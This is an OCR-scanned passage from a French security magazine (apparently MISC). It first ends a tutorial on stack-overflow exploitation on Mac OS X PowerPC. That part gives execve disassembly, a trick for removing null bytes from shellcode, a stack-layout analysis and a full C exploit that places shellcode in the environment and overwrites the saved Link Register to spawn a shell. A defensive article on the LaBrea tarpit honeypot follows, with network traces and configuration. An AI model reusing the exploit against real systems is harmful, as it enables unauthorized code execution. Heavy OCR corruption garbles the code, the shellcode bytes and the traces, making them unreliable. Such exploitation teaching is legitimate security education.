correspond a l'adresse située juste aprés |'appel systeme lui-
méme (soit 4 octets aprés I'instruction sc). Inversement, si l'appel
systeme réussit, 'adresse de retour se situe deux instructions
plus loin (soit B octets apres |'instruction sc).

Les instructions Assembleur de l'appel systéme execve() montrent
comment cela est utilisé :

(gdb] x/121 execye
Bx30BI7660 <execyes: i
Bx90B37664 <execye+ds: 5o
Be90337668 <execvetf>: b
Bx90037060 <execve+l?>: bir
Bx9B03T670 <sxecve+lf>: nflr @

Bx9BEIT6TS <execve+2f>: bol- 2B 4*cr74so, BxOIB3TETR <erecye+2d>
Bx9BB3T676 <execya+id>: mflr  rl2

8x9803767c <execve+28>: ntlr  r@

Bx90037680 <enecve+3>; addis  r12,r12,4093

Bx90RITHBE <pnecve+it>: lwz ri2,-Be6diri2]

Bx90837688 <exscve+df>: mtetr  rl2

Bx3083768¢c <execve+dd>: brtr

r,59

Bx9BB3T6TE <execve+lf>
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Si l'instruction s¢ échoue, (execve+8),0n se
branche immédiatement en execve+16 pour gerer
I'erreur : on met la valeur 8x980%aced dans le
registre CTR, ce qui correspond a |'adresse de la
fonction cerror(). Cependant, si I'appel systeme a

fonctionné, on se branche directement a l'endroit i
SP+152

pointé par le Link Register (execve+12).
W ... e . SP+148
Toutefois, si l'instruction sc provoque un
SP+144

appel systéme, il y a un probléme car l'opcode
correspondant contient des caractéres NULL :
(gab) x/1 Bx98837664

130037664 <execvesd>: sc

{gdb) x/x Gx90037664

138037664 <execve+d>: Oxd4000082

Les octets 2 et 3 valent 0, ce qui rend l'instruction
invalide pour la placer dans un shellcode. La
solution est simplement de les remplacer
par n'importe quelle autre valeur. En fait, les SP+64
spécifications de l'instruction sc ne requiérent
pas que ces octets valent 0.

Le méme probléme se pose avec l'opcode de
I'instruction NOP (@x68800800). La encore, la
solution est la méme, puisque ces octets ne sont
pas contraints.

Pour le reste, la construction des shellcodes est
la méme que ce qui se fait par ailleurs et la lecture SP

de l'article de B-r00t se révele particuliérement ¥
instructive (et donc recommandée) [B-r03].

Parameters
area

NULL

environments

S +

arguments

———————p

1 (aligned)

|

]

|

|

1

|

i argv[0]
AL (aligned)
s . NULL
P‘ I

§' &argv[0]
' NULL |

cenvp (1]

-+ — — — — — - 92 petets
-t o RARVPIL] b= e =y

&envp[*]

Sargv(C

NULL

—— e = = GALGY

b= 4 &argy(*]
Linkage
area

arge

-

Organisation des arguments et des

Fun and profit : le stack overflow

Comme depuis le début de cet article, I'exploit

Structure de lo pile
pour la fonction vuln()

variables d’environnement du lancement
d'un programme

que nous allons construire vise le programme

vulnérable que nous avons utilisé depuis le
debut, sorte de « hello world » pour les coders

d'exploit.

Nous avons vu lors de |'étude du prologue que |44 octets étaient
alloués sur la pile pour la stack frame. Cependant, le buffer qui
pose un probléme n'est pas placé tout en bas de la pile. En effet,
64 octets sont réservés pour des registres (pour les paramétres,
le Link Register, le Condition Register et le Stack Pointer). On
voit cela en <vuln+24>:

<wuln+2d>r addl rd rdd 64

<yulnt28>: Tz r4,168(r30)

<yulntdz>: bl Bxlfdd <dyld_stub_strepy>

Le registre r3 est utilisé pour sauver |'adresse de buf, qui sert de
premier argument pour la fonction strepy (). Ainsi, on a besoin de
[44+12-64=92 octets pour écraser le Link Register sauvegarde
(144=meémoire allouée pour la stack frame, |12 = taille de la zone
de linkage de la fonction appelante, 64 = taille des zones de
parametres et de linkage de la fonction vuln(), voir figure 3).

Ainsi, on a besoin d'un buffer contenant 88 octets sans intérér,
puis une adresse valide, tant qu'a faire, celle de notre shellcode...
que nous allons maintenant nous atteler a calculer.

Le schéma 4 décrit la position des arguments sur la pile lorsque
I'appel execve(argv[8], argy, envpl; est exécuté.

® Le sommet de la pile est a I'adresse §xc@088080. Juste en
dessous, on trouve un mot NULL. D'autres mots NULL seront places

par ailleurs sur la pile en guise de séparateur.

@ Tous les arguments (des chaines de caractéres) pointes
par les tableaux argv et envp (respectivement utilisés pour les
arguments du programme et les variables d'environnement) sont
empilés consecutivement, depuis argv[#] a l'adresse la plus basse,
jusqu'au dernier éléement d'envp. Cette région est appelée « string
area ».

@ Cependant, |'adresse a laquelle cela déemarre doit étre
alignée sur la taille d'un mot machine ( (sizeof(int), 32 ou 64
bits selon le processeur). Ainsi, on peut trouver des caracteres
NULL supplémentaires a la fin de cette liste. Par exemple, un
programme avec juste argv[0] = "./foo" occupera 8 octets car
la chaine en prend déja 6 (pour "./foo\@"), et deux de plus pour
atteindre le premier multiple de 4 immédiatement superieur, pour
du 32 bits.

@ Juste en dessous, on retrouve une copie du nom du
programme argv[@], mais cette version se termine par du
bourrage pour étre parfaitement aligne, de la méme maniere que
la string area précédente.
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® Ensuite, la pile contient les pointeurs vers les chaines de
caracteres de la string area, dans le méme ordre que celui des
tableaux argv et envp, ces deux tableaux étant séparés par un
mot NULL : &envp , ..., kenvp,, NULL, &argv , ..., kargv,, argc, du plus
haut au plus bas.

i

Vous pouvez voir la construction de cela en lisant les sources du
noyau de Mac OS X, appelé xnu et disponible en open source, dans
le fichier bsd/kern/kern_exec.c.

Nous sommes donc maintenant capables de calculer I'adresse
exacte de notre shellcode en meémoire. On sait que les éléments
des tableaux argv et envp sont empilés les uns a la suite des autres,
a partir d'une adresse alignée. Ainsi, il est probable qu'il y ait
quelques octets de bourrage i la fin d'une zone afin d'aligner le
debut de la zone suivante. Si on laisse la memoire organisée de
cette maniere, il n'y a qu'une chance sur quatre que la premiere
instruction du shellcode soit placeée sur une adresse valide (un
multiple de sizeof(int)).

Supposons que la mémoire du processus ne comporte que le
nom du programme (. /vuln), c'est-a-dire 7 octets, suivi de notre
shellcode. La taille du shellcode n'a pas d'influence puisqu'il est
composeé d'instructions, qui ont une taille imposée et valable
sur une architecture RISC (4 octets). Ainsi, le probleme vient
seulement de argv[@]. Le premier octet du shellcode ne sera
pas aligné de manieére valide, ce qui causera une erreur I11egal
Instruction.

Ceci étant dit, il nous reste a écrire le programme dans |'encadre
ci-dessous.

L'exploit prend en argument la taille du buffer a écraser et calcule
automatiquement l'adresse de retour :

raynal@joker:~/ppc/srcs | fexl . /vulnl 92

ret = fxbfffifoe

sh-2.85b8

I+

* Shellcode placed in the environment

L3

* raynal@jokers~/ppc/sred L rexl fvulnl 92
* ret = BxbfFFFfog

* gh-2.056%

&/

#nclude <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.hs
#include <unistd.h>

#define STACK {Bxcdanoan - 4)
#define ROUNDUP(x) ( (x + sizeof(int)-1) & ~(sizeof(int)-1) }

char shellcode[] = // Shellcode by b-rét, modified by nemo,

"aTeh 3 la\ k73 nd B\ xB2 A F LY x 39\ k4B B\ ke TV k3B nBa x Felnfd"
"R EABZ K3k B\ B LY k23 x 3R\ kBa \kfel Fl\ a4\ REF R FF\xE2"
"B BB BB\ BB\ aTC kA N 2a T R T\ 268 B2\ kbt kIR K63 N1 k6"
"Vx3BRET xR\ AR AT G kPR NTR X OB\ xal\xFFh xF\ k3B KA1 KFF\ATR"
“3bincBix A1 xdT k3B et ofet Ak FF\ X FFARBZ\ R T\ ka3 x2b 478"
REELARSE AR AR T L PR A S EAY S TAR S e AV E L AR R AR A AT ASFAAPGRART AR TN
BT EAAVERAT T

int mainlint arge, char * argv[])

ohiar *vuln, =buf = ULL, *ptr, padding[d];

char * execoarav[] = { wiln, buf, NULL };

char *envp[] = { padding, shellcode, NULL };

size L5z, 1;

unsigned int ret = STACK - ROUNOUR(sizeof(shellcode)):

vuln = exec_argy[8] = argy[1):
sz = gtoilargy[2]);

*1 is the size of the padding to put before the shellcode.
* Before the shellcode, one can find:
* . oarge[l], i.e. the buufer (size = sz4l)

* - argv[@], i.e, program name (size = strlen(vulmi+l (for the \B)
* Hence, the padding 1is given by the size of this bytes, so that
* they are #ligned on a 4 bytes boundary,

* If, by luck, everything is already aligned, we need to put @
* padding that woni break anything (i.e. aligned on sizeof(int)).
*

* Note : the shellcode is a set of PPC opcodes. Hence, its size is
* always @ multiple of 4. It may need some adjustments for 64 bits
ERIE

*_.‘l

1 =52 +1+strienfuuln) + 1;

1 = ROUKDUPLTY - 1;

if (11} 1 = sizeof(int);

menset(padding, @x42, 1-13;

padding[1-1] = 8;

/* Allocate the buffer and 11 the buffer with NOPs *#/
buf = mailocisz + 1);
if (1buf)
{
perror("malloct) failed:");
exit(EXIT_FAILURE);
|
exec_argv[1] = buf;
memsetihuf, Gxdl, szl;
buffsz] = 8;

/* Qverwrite the saved return address #/
*(y_int-*}(buf + sz - 4) = ret:

/% Run the vulnérable program and wait for a shell ... */
fprintfistderr, "ret = Bxdx\n®, ret);
axacve(exec_arqu[Al, exec_argv, envpl;

Exploit final

(%)
2
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Conclusion

Nous avons vu dans cet article les méthodes de base pour
les exploit dans l'univers de Mac OS X. De nombreux
points n'ont pas encore été traités (mais il se pourrait
bien que... ;-)

Par exemple, concernant les fonctions terminales, il est
ecrit un peu partout qu'elles ne sont pas exploitables.
En fait, cela dépend de l'erreur de programmation.
Par exemple, le code suivant est exploitable, méme si
I'exploitation ne se fera pas directement dans la fonction
vulnérable :
int vuln{char *str)
{
© char buf(64];

char *src = str, *dst = buf;

while (*src)

*st+s = Frg

}

En l'occurrence, il faudra aller modifier la sauvegarde du
LR de la fonction qui a appelé vuln(), ce qui n'est bien sir
pas toujours possible.

Enfin, il s'agira aussi d'adapter les méthodes avancées
d'exploitation bien connues dans le monde Unix utilisant
le format de binaires EIf aux specificités du format
Mach-O mis en place par Apple et au mapping mémoire
correspondant.

Bref, il reste de quoi s'amuser... et il est probable que vous
ayez de nouveau droit a des articles dans le monde des
pommes.
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Des pots de miel tres collants

Cet article présente ce que I'on nomme un « sticky
honeypot » ou pot de miel poisseux voire trés
collant. Un tel outil a pour objectif de ralentir un
agresseur en jouant avec les protocoles. En général,
des attaquants d'un niveau correct sont capables de
découvrir ce genre de piége. Mais dans le cadre de la
lutte contre les vers informatiques et autres moyens
d'agressions automatiques, les pots de miel trés collants
ont déja fait leurs preuves sur de larges réseaux.

Historigue

LaBrea aura été le premier outil connu appliquant les principes
abordés dans cet article. En effet, il essaie d'observer le
trafic réseau et d'y prendre les IP non utilisées afin de créer
dynamiquement de fausses machines (virtuelles) qui répondent aux
demandes de connexions extérieures. Mais la fonction spécifique
de LaBrea consiste alors & répondre aux visiteurs de maniére a ce
qu'ils soient tout simplement englués sur ce leurre informatique.
Parfois, cela peut durer sur une période relativement longue,
consommant ainsi les ressources des promeneurs malveillants
de maniere totalement légale. Ce pot de miel est surtout connu
pour son efficacité dans la lutte contre les systémes agressifs
automatiques comme les vers, etc.

« Encore un outil fantaisiste », pensera le lecteur presseé, et
pourtant, LaBrea a eté écrit avec un objectif initial assez louable :
freiner ou géner le fameux ver « Code Red », avec des moyens
légaux. En effet, I'idée originelle de Tom Liston, son créateur,
était de ralentir les nombreux scans associés a ce ver génant
considérablement Internet, a défaut de pouvoir les arréter.

Supposons par exemple qu'une instance de Code Red cherche
des sites a contaminer et envoie ainsi un paquet TCP avec le flag
SYN vers le port B0 d'une IP sur une plage a attaquer. Supposons
de plus que I'IP visée ne soit pas utilisée. Normalement, la pile
réseau de la machine infectée par le ver va ré-emettre son SYN
plusieurs fois pendant un certain temps moyennant un certain
délai de garde. Ensuite, les couches réseau de ce systeme infecte
indiquent au ver que son connect() n'a pas fonctionné. Ce dernier
essaiera alors de passer a une autre cible. Que se passe-t-il si on
récupere cette requéte, si on la traite et si on renvoie le SYN/ACK
approprié, avec éventuellement des options bien pensées (comme
par exemple un MSS petit pour forcer des envois nombreux par
petits morceaux — le MSS etant le Maximum Segment Size, valeur
correspondant a la taille maximale des données TCP que la
machine hébergeant Code Red aurait alors le droit d'utiliser pour
étre écoutée) ? Le three way handshake TCP ayant l'air terminé
normalement pour ce ver informatique, on peut ainsi attendre ses
paquets de données, sans rien renvoyer en retour. |l peut donc
parler, mais rien ne sera écouté, et il attendra alors inutilement
un timeout sur sa session gu'il croyait réellement ouverte. Dans
un tel cas, assez simpliste, le ver a bien été ralenti. L'hypothese
est alors que si de nombreuses machines se mettent a utiliser le

méme stratagéme de défense, les scans des vers seraient alors
vraiment ralentis.

Quelques jours aprés cette premiére proposition de
fonctionnement assez basique, des résultats interessants arriverent
sur la maifing list « Intrusions » geree par incidents.org : certains
chercheurs avaient effectivement reussi a faire perdre du temps
a des machines infectées par Code Red et en train de scanner le
Net. Un premier outil, Couic [COUIC], avait &été modifié pour
atteindre cet objectif. L'aventure LaBrea allait naitre et bientot de
nouvelles fonctionnalités etaient rajoutées aux premiéres pistes
créées uniquement pour repousser Code Red (coderedneck).
Notons que la fameuse mini-distribution Linux nommee Trinux
a, elle-méme, été utilisée pour repousser CodeRed en incluant
LaBrea 2.2 sur son jeu de disquettes (il suffisait d'un vieux PC
abandonné pour installer ce tarpit).

Fonctionnement
Comportement au niveau 2

Voyons comment LaBrea agit pour récuperer proprement
les adresses IP non utilisées, afin de pouveir se positionner
rapidement comme la cible d'attaques arrivant sur un réseau (par
exemple, la machine 192.168.1.58 n'existe pas, LaBrea voit des
paquets arrivant dessus, ce qui est censé étre éventuellement
illégitime et décide alors de simuler cette machine a la volée).

Fonctionnement de la récupération d'adresses IP

LaBrea scrute le réseau et lorsqu'il voit une requéte ARP (voir
[ARPO2]) restant sans reponse pendant un certain temps (3
secondes par défaut), il fabrique une réponse ARP qui permet de
router le trafic destiné a cet adresse IP vers une adresse MAC
assez speciale. On peut voir ce résultat sur cette trace effectuée
via tepdump entre un client 192.168.1.201 cherchant a parler a
au de test :

168,1.21

985364 arp who-has
17:58:90.889738 arp who-has I tel
17:58:88, 859458 arp reply 158 (Q:8:f:fF: 7R FF) 1g-at Bul:fiff ffoff

Les deux premiéres lignes correspondent a 192.168.1.21 qui
cherche a discuter avec 192.168.1.58. La derniere ligne montre
que LaBrea, apres avoir scrute le reseau pendant 3 secondesa la
recherche d'une réponse valide, fait croire que 192.168.1.58 existe
avec l'adresse MAC 0:8:f:ff:7f:{f, Le pirate sur 192.168.1.21
regardant alors sa table ARP verra les informations suivantes :

Co\WIRNT\Profiiesikol
Interface : 192,168.
Adresse Internet Adresse ph

192.168.1.58 B0-88-Bf-f1-ff

-4

Cette valeur utilisée comme adresse MAC est codée en dur dans
les sources de LaBrea. Pour des raisons de furtivite, un utilisateur
averti peut modifier a souhait cet aspect, en allant lui-méme
adapter le fichier PacketHandler.c :

u_char bogusHACTE] = {8,8,15,255,255,255);
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3 QUESTIONS A LUAUTEUR DE LaBREA, ToM LisToN

nl POURQUDI ET COMMENT T'ES TU INTERESSE AUX HONEYPOTS 7

Vers fin juiller 2001, 4 |a suite de I'incident Code Red, |'étais fatigué de voir autant de trafic de vers arrivant sur mes serveurs et je me demandais s'il existait
quelque chose a faire contre ¢a. Apres aveir passé un peu de temps a réfléchir sur la fagon d'arréter la propagation du ver, j'en suis arrivé i l'idée de [e ralentir
en lui forgant a faire des timeouts. Rapidement, je realisai que je pouvais utiliser mes adresses IP non utilisées pour servir de cibles aux attaques du ver et
I'idee d'un network tarpit (puits de goudron reseau) etait nee.

CROIS-TU VRAIMENT AUX HONEYPOTS 7 (EN D'AUTRES MOTS, D'APRES TOI, SONT-ILS REELLEMENT UTILES POUR AMELIORER LA SECURITE OU
NE SONT-ILS QUE DES OUTILS UTILISES PAR LES FERUS D'INFORMATIQUE POUR APPRENDRE LES TECHNIQUES DES PIRATES ! CETTE QUESTION
REVIENT SOUVENT A CAUSE D'UN SCEPTICISME GENERAL A PROPOS DES HONEYPOTS ET EN PARTICULIER DANS LE MONDE DE LIENTREPRISE)

Je suis complétement convaincu qu'ils ameliorent la sécurité. Dans leur papier de recherche intitulé « Modeling the Spread of Active Worms » (NDT : voir
[WORM]), Zesheng Chen, Lixin Gao et Kevin Kwiat ont mené des investigations sur un modéle mathématique de |a propagation de vers se déployant par le
bials de scans localises (Code Red, Nimda, etc.). lls ont alors aussi étudie I'efficacite réelle de LaBrea comme moyen de defense contre ce type de vers. Leur
conclusion ? Un déploiement massif de LaBrea peut freiner ou arréter la propagation de ces vers. Leur papier est en ligne (avec 'autorisation de |'auteur) sur
le site Hackbusters (http:f/fwww.hackbusters.net).

Je suis aussi en plein developpement d'une version commerciale de LaBrea ajoutant la capacité a protéger des machines réelles contre n'importe qui attaquant
une adresse du pot de miel. En offrant la centralisation des traces et |a capacité a corréler ces données avec celles d'autres unités, cela devrait réduire
énormeément le nombre d'attaques de scripts tout préts vers vos machines.

n| QUEL PEUT ETRE LE FUTUR DES HONEYPOTS ! QUE T'ATTENDS-TU A VOIR DANS CE DOMAINE !

Je pense que LaBrea Sentry (le nom de ma future application commerciale) (NTD : voir [LABCOM]) explore une direction importante : utiliser un honeypot
pour piloter automatiquement les systemes de défense reseau. Dans le domaine des honeypots de recherche, je vois 'expansion du honeypot virtuel de Miels
(NDT : Proves, Heneyd) comme la vague du futur parce que cela permet d'imiter un grand réseau composé de differents types de serveurs avec des moyens

limités en matériel et en temps a investir.

HOINIUE | D'ou viENT EXACTEMENT CE NOM : LaBREA TARPIT ?

Il existe un lieu assez connu a Los Angeles en Californie nommé « La Brea Tarpits », Il y a eu un nombre assez impressionnant de restes fossiles, provenant
de |'age de glace. deterres a cet endroit et on y trouve un tres grand musee. Voir sur http://www.tarpits.org.

Protection de ce fonctionnement

Pour eviter les conflits avec des adresses existantes, LaBrea
possede deux moyens : sa fagon d'interpréter le trafic et les
fichiers de configuration (que I'on verra plus loin). Si LaBrea voit
un message gratuitous ARP signalant par exemple l'arrivée d'une
machine, il exclura I'lP correspondante. De plus, a chaque réponse
ARP vue sur le réseau, il notera I'IP correspondante comme
bloguée. Enfin, au démarrage, il peut scanner rapidement le réseau
(si le subnet n'est pas trop gros) pour voir les machines présentes
et ainsi eviter de prendre plus tard leur IP (ARP sweeping).

Par mesure de protection, deux options sont utilisables en plus
de ces mecanismes :

+ option -X : on peut exclure les machines dont |a résolution
DNS aboutit ;

+ option -s : en environnement switché, on peut faire envoyer
a LaBrea une requéte ARP sur I'lP qu'il désire prendre. En
effet, le reseau étant switchg, il ne peut pas forcément voir les
reponses ARP éventuelles des requétes qu'il constate.

Et malgré tous ces points permettant une bonne slireté réseau, si
du trafic arrive 2 LaBrea un peu par erreur pour une machine qu'il

sait finalement étre active, il lui renvoie de fagon transparente.
Ainsi, LaBrea est capable de se positionner seul pour occuper
le terrain des adresses non utilisees. Une fois prepare, voyons
comment il agit pour ralentir les agresseurs.

Comportement niveau 3 :
interaction avec les pirates

Nous allons étudier les aspects liés a TCP.

Le fonctionnement de base est trés simple : pour un SYN recu
vers une adresse gérée par LaBrea (jouant le role de serveur),
il renvoie un SYN/ACK pour valider de son cote I'ouverture de
session TCP. Ainsi, le client a I'autre bout croira en renvoyant son
ACK final qu'il va effectivement pouvoir discuter avec le serveur,
en fait simulé par LaBrea.

Par défaut, ce dernier laissera le client envoyer ses donnees, sans
jamais participer a la discussion. La session sera alors finalement
coupée coteé client apres un délai de garde dépendant du systeme
d'exploitation hébergeant le client (voir les traces réseau dans
« mode classique », plus loin). Cela fait perdre un peu de temps,
mais une autre option peut en faire perdre beaucoup plus.
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En effet, un autre fonctionnement est proposé : le mode
persistant. Apres avoir renvoyé son SYN/ACK comme dans
I'exemple précédent, LaBrea continuera d'écouter les sessions
auxquelles il a fait semblant de vouloir participer en tant que
serveur. Quand la couche réseau du client essaiera de relancer
LaBrea, ne comprenant pas pourquoi le serveur n'acquitte aucune
trame (v est-ce que tu es la? », LaBrea répondra de patienter
{« je suis bien la mais attend un peu »), afin de faire en sorte que
la session TCP continue d'exister, encore, et encore (voir les
traces réseau dans « mode persistant », plus loin). Ainsi, si I'on se
base sur les normes définissant TCP, une telle session peut rester
ouverte pendant des heures, des jours, des mois. En supposant
que le client attaguant soit un ver essayant d'abuser d'un faux
serveur web simulé par LaBrea, il risque de rester bloqué pendant
tres longtemps, limitant ainsi sa propagation.

Installation

LaBrea se compile facilement avec les bibliotheques Tibnet et
Tibpcap avec un simple make (testé sous Linux). A priori, une
version pour Windows existe aussi (non testée) avec quelgues
noms de fichiers différents par rapport a Unix (configuration).
De maniere générale, LaBrea est annonce comme supporte sur
OpenBSD, Linux, Solaris et Windows (98/ME/2000/XP). Sur ces
différentes plateformes, les droits root ou administrateur sont
nécessaires a son utilisation.

Utilisation

Options de lancement

De trés nombreuses options peuvent étre passées en argument
a LaBrea et nous n'en observerons que quelques-unes, la
documentation etant assez bien redigee. Utilisé simplement, il suffit
de le lancer de la fagon suivante : LaBrea options [BPF filter]

Voici donc quelques options pratiques :
# -i interface : pour choisir son interface réseau ou
ecouter.

+ - mmm.mmm.mnm. man : pour spécifier un netmask a utiliser.

# -n nnn.nnn.ann.ann(/nn] : pour specifier le réseau a scruter.

# -p maxrate : mode persistant ou les sessions sont censées
rester toujours en vie sans interruption volontaire, avec limite
du nombre d'octets par seconde imposée a LaBrea pour qu'il
ne consomme pas trop de bande passante.

+ -P:mode persistant uniquement.

+ -d: pour éviter de passer en demon.

+ -y : pour augmenter |'aspect verbeux des traces, multiplie
par le nombre de -v.

+ -3 : évite de réepondre aux SYN/ACK (RST) et aux ICMP
ECHO REQUEST.

+ --no-arp-sweep : pour empécher la découverte ARP au
demarrage sur le subnet vise.

+ -0 : pour obtenir les traces dans la sortie standard (par
defaut c'est via syslog).

Une premiére utilisation conseillée sur un réseau sans risque
pourrait ainsi étre : ./LaBrea -z -1 r10 -p 188 -0 -d -vv

Fichier de configuration

LaBrea peut utiliser le fichier de configuration latirea.conf sous
Unix et LaBrea.cfg sous Windows. Chaque ligne de ce fichier
consiste en un champ de sélection (adresses IP ou plages
d'adresses, et ports ou plages de ports) suivi d'une action.
<+ ann.nnm.nnn.nnn [- nan.nnn.nnn.nnn] EXC :nejamais capturer
les IP specifiees (adresses locales).

+ nnn.nan.nnn.nnn [- nan.nan,ann.nnn] HAR : ne jamais capturer
les IP spécifiées en mode hard (-h) (adresses locales), ce mode
hard étant pour ne pas relacher les IP obtenues.

#+ nnn.nnn.ann.nnn [/nn] IPI @ ignorer les adresses dans le
subnet specifié (toute adresse).

+ nnnnn nnnan] POR : exclure ces ports des sessions

entrantes a gérer (paguet RST renvoyé).

+ nnnnn [- nnann] PMN : marquer ces ports actifs des le

demarrage.

Fonctionnement ohservé

On prendra comme exemple un client sur 192.168.1.201 cherchant
a parler a un serveur web sur 192.168.1.26.

* mode classigue

Cote LaBrea (traces obtenues ou I'on voit bien le client revenant
au contact presque régulierement) :

rstack:~/LaBrea? 44 | /LaBrea -1 ethd -yv -d -0 -2

Initiated on i face ethd

fete/LaBreaConfig not found

Wed May 14 B2:8:43 2883 Initial Connect (tarpitting): 192,168.1.281 1324 ->
192.168.1.26 &0

Wed May 14 BZ2:@0:43 2003 Additional Activity:
Wed May 14 82;0@:43 2883 Additional Activi t}-
Wed May 14 82:8@:46 2083 Additional Activity:
Wed May 14 B2:80:52 2883 Additional Acti
Ned May 14 B2:91:04 2803 Additional
Wed May 4 B2:81:28 2883 Additi ‘"al
Hed May 14 B2:02:16 2003 Addi

1 dctivity:

Trafic IP associé {observez la réémission inutile des paquets de
la part du client et le seul paquet utile a cela envoyé par LaBrea
[le deuxieme]) :

02:00:43.218783 192.168.1.261.1324 > '_QE' 168.1 5 [tep sum ok]

649616628 B40618628(0) win 64248 (OF) [t , 1d 4838, Ten 48)

02:08:43.210968 192.168.1.26.80 > 1':...!15 ! {@' 1324: S [tep sum ok]
2647833713:2647833713(@) ack BAGE1B629 win 10 (tt] 255, id 21563, len 44)
Z:08:43.211068 192.1 E} 201,1324 > 192,168.1.26.88: . [tep sum ok] 1:1(8) ack 1 win
64320 (DF) (ttl 128, id 4859, len 4@)

#2:00:43.211762 197.168.1.201,1324 > i, [tep sum ok] 1:11(18) &ck 1
win 64328 (DF) (tt] 128, id 4901, ler
02:08:46.162561 192.168.1.201,1324 > l'J ¢, [tep sum ok] 1:11(18) ack 1

win 64328 (OF) (tt] 128, id -1\?'2'/
f2:08:52.177632 192,168.1 > 192.168.1,
win 64328 (OF) (tt1 128, id ﬂ’la. len 3
§2:01:04.297778 192,168.1,201.1374 > 192.168.1.26.88: , [tep sum okl 1:11010) ack 1
win 64328 (DF) (tt1 128, id 4916, len 58)

. [tep sum ok] 1:11418) ack 1

(... continuation : le client a bien perdu du temps sur cet
exemple...}

* mode persistant

Coté Labrea (traces obtenues montrant |'interactivité de LaBrea
pour conserver la session dans un pseudo état de lethargie
réseau) :



aBreal 4% /LabBrea -1 ethd -vy -4 -0 -z -p 1088
d on interface ethi
Config not found
7.85: 14

2883 Capturing local IP: 192.168.1.26

2003 Initial Connect (tarpitting); 192.168.1.281 1338 ->

2083 Additional Activity: 192.168.1.281 1338 -> 192.168.1.26 8F *

2063 Persist Trapping: 192.168.1.281 1336 -> 192.168.1.26 84

Persist Activity: 19¢.168.1.281 1338 -> 192.168.1.26 8@ *

03 Persist Activity: 192.168.1.201 1338 -> 192.188.1.26 &8
Persist Activity: 192,160.1.281 133@ -> 192.168.1.26 B *

rsist Activity: 192.168.1.201 133 -> 132.168.1.26 89

Ned Mgy
Wed May
ned May 14 1
Wed May 14 02:B5:50 2803 Pe

Trafic IP associé (observez les réponses de LaBrea pour signifier
sa présence, mais avec une window size trop petite [win #] pour
permettre au client de poursuivre [« je suis la mais attend un
peu, merci »] :

B2:05:14.435072 192.168.1.281.1330 > 192,166,1.26.88: 5 [tcp sum ak]

487(8) win 64240 (DF) (tt1 128, id 4963, Ten 48)
182.168.1.26.80 > 192.168.1.201.1330: § [tep sum k)

£35(8) ack 911745488 win 3 (tt] 255, 1d 48138, len 49)

19 192 192.168.1,26,80: . [tcp sum ok] 1:1(8) ack 1 win
128, id 4970, len 48)

7 192,168.1,281.1338 > 192.168.1.26.89: . [tcp sum ok] 1:4(3) ack 1 win
128, id 4971, len £3)

4 197.168.1.76.80 > 192.166.1.261.1330: . [tcp sum ok] 1:1(0) ack 4 win

192,168.1.261.1330 > 192,168.1.26.6: . [tcp sum ok] 4:5(1) ack 1 win
1 128, id 4973, Ten 41)
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. [tep sum ok] 1:100) ack 4 win

id 35598, l2n 46)
43492 192,168.1.281.1330 > 192,168.1.26.80: . [tcp sum ok] 4:5(1) ack 1 win
(DF) {tt1 128, 1d 4974, len 41)

(.. continuation censée étre « permanente »...)

Recommandations

Attention, ne mettez pas LaBrea en production sur un réseau
sensible sans en avoir mesure les risques. En effet, cet outil
recupere toutes les IP non utilisées. Et si d'aventure vous
souhaitiez lancer une machine sur une des IP initialement non
utilisees, le mecanisme censé s'en rendre compte dans LaBrea
afin de vous rendre I'IP choisie peut apporter certains troubles
sur votre reseau. Normalement, apres avoir vu votre machine
avec une |P déja prise, vous observerez avec joie que LaBrea
re-routera intelligemment le trafic lui arrivant (sans toucher
au TTL), au cas ou, en attendant que les associations MAC re-
fonctionnent correctement. Le probléme vient alors des caches
sur certains switches et certains routeurs, avec lesquels ¢a peut
ne pas s'arranger (le reglage du timeout du cache ARP sur ces
equipements peut étre utile). Si vous connaissez a l'avance une
liste d'adresses que LaBrea devra éviter de prendre, vous pouvez
utiliser le mecanisme d'exclusion pour éviter ce probleme. Par
rapport a ces risques et pour proteger les utilisateurs trop
presses vis-a-vis d'eux-mémes, LaBrea est compilé par défaut
avec l'option USEZFLAG qui impose simplement un -z en argument,
cette information étant cachée dans la documentation, afin d'étre
certain qu'un eventuel testeur aura bien lu le manuel.

Par ailleurs, nous deconseillons I'utilisation de LaBrea sur un
reseau local sur lequel se trouve la menace essentielle, I'attaquant
etant capable éventuellement de scruter le trafic en detail et
de voir le comportement réseau ainsi simulé (adresses MAC
etranges, etc.). D'un point de vue furtivité, vous pourrez avoir
du mal a éviter qu'un pirate ne devine la présence de LaBrea (si

tenté qu'il connaisse son fonctionnement). Enfin, certains aspects
de TCP/IP sont mal implementés dans LaBrea, le rendant assez
reconnaissable méme a distance pour des agresseurs avertis
(comme tous les honeypots virtuels actuels a priori).

Téléchargements

Usuellement, LaBrea est distribué de maniére libre (GPL) sur
le site officiel [LABREA], mais une fois de plus, les restrictions
légales imposées dans certains Etats américains ont change
la donne : Hackbusters ne distribue plus LaBrea, suite a des
changements en lllinois ou la « Super DMCA » proposée par le
MPAA pose probleme (comme avec Honeyd dans le Michigan).
Néanmoins, vous pourrez accéder aux restes toujours disponibles
via [SOURCE].

D'autres outils donnant des statistiques issues des traces fournies
par LaBrea existent. Vous en trouverez notamment sur [BIZ]
avec des statistiques réelles venant des attaques vers leur bloc
d'adresses.

Alternatives

Les fonctionnalites de Tarpit ont depuis été rajoutées i certains
outils comme Honeyd de Niels Provos (lire MISC8) et Netfilter.

Le leurre informatique nommeé Honeyd possede une trés
bonne documentation. Depuis mi-2003, elle presente |'option
nommee tarpit permettant de réagir un peu comme Labrea.
Pour regarder un exemple, voici une des configurations données
sur le site officiel a I'URL suivante http://www.honeyd.org/
configuration.php :

create sticky

set sticky personatity “Nac 0S X 18.1 - 16.1.4°

set sticky default tcp action tarpit open

set sticky default udp action biock

bind 192.168.1.118 sticky

Ce morceau de configuration propose une machine virtuelle
simulant un Mac OS X avec I'lP 192.168.1.110. Ce leurre ignore
les paquets UDP et répond en mode tarpit 2 chaque visiteur
arrivant avec du TCP. On comprend alors qu'avec quelques lignes
de paramétrage pour Honeyd, on peut construire rapidement
de nombreuses fausses machines illustrant le concept de pot de
miel trés collant.

Une premiere version avait été écrite par L.Oudot en aoiit 2003
pour rapidement proposer des contre-mesures face au ver
MSBlast (port 135, TCP). Elle fonctionne pour Honeyd 0.6a et a
ete copiee ici pour le lecteur curieux : http://rstack.org/oudot/
honeyd/honeyd-tarpit.patch. Son comportement ressemblait
plus a celui de Labrea en mode persistant qu'a celui de la version
actuelle de Honeyd. Cette derniere laisse en effet 'agresseur
